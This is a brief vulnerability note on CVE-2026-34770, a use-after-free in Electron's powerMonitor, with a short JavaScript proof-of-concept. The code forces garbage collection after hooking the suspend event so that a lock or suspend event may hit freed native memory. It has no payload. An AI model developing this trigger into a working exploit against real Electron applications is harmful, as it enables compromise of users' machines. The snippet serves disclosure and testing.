CVE-2026-34770 Electron powerMonitor释放后重用漏洞

// Conceptual PoC for CVE-2026-34770 // Demonstrates the usage context leading to the vulnerability const { app, powerMonitor } = require('electron'); app.whenReady().then(() => { // 1. Establish hooks into OS resources via powerMonitor powerMonitor.on('suspend', () => { console.log('System is suspending...'); }); // 2. Simulate conditions that might trigger GC of the native object // Note: Exploitation requires precise timing between GC and OS events if (global.gc) { global.gc(); } // 3. Wait for OS event (e.g., Lock Screen/Suspend) // If the native object was freed but OS resource remains, UAF occurs. console.log('Ready. Trigger a system event (Lock/Suspend) to test.'); });
